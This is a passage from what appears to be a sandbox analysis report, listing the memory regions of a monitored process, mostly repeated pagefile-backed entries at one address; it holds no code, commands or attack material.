pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 986 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 987 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 988 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 989 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 990 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 991 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 992 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 993 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 994 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 995 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 996 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 997 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 998 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 999 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1000 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1001 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1002 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1003 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1004 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1005 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1006 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1007 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1008 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1009 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1010 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1011 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1012 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1013 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1014 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1015 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1016 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1017 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1018 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1019 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1020 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1021 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1022 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1023 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1024 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1025 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1026 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1027 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1028 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1029 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1030 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1031 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1032 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1033 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1034 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1035 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1036 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1037 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1038 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1039 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1040 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1041 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1042 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1043 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1044 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1045 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1046 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1047 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1048 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1049 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 1050 start_va = 0x1d50000 end_va = 0x1d61fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 1051 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1052 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1053 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1054 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1055 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1056 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1057 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1058 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1059 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1060 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1061 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1062 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1063 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1064 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1065 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1066 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1067 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1068 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1069 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1070 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1071 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1072 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1073 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1074 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1075 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1076 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1077 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1078 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1079 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1080 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1081 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1082 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1083 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1084 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1085 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1086 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1087 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1088 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1089 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1090 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1091 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1092 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1093 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1094 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1095 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1096 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1097 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1098 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1099 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1100 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1101 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1102 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1103 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1104 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1105 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1106 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1107 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1108 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1109 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1110 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1111 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1112 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1113 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1114 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1115 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1116 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1117 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1118 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1119 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1120 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1121 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1122 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1123 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1124 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1125 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1126 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1127 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1128 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1129 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1130 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1131 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1132 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1133 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1134 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1135 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1136 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1137 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1138 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1139 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1140 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 1141 start_va = 0x1d50000 end_va = 0x1d61fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 1142 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1143 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1144 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1145 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1146 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1147 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1148 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1149 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1150 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1151 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1152 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1153 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1154 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1155 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1156 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1157 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1158 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1159 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1160 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1161 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1162 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1163 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1164 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1165 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1166 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1167 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1168 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1169 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1170 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1171 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1172 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1173 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = 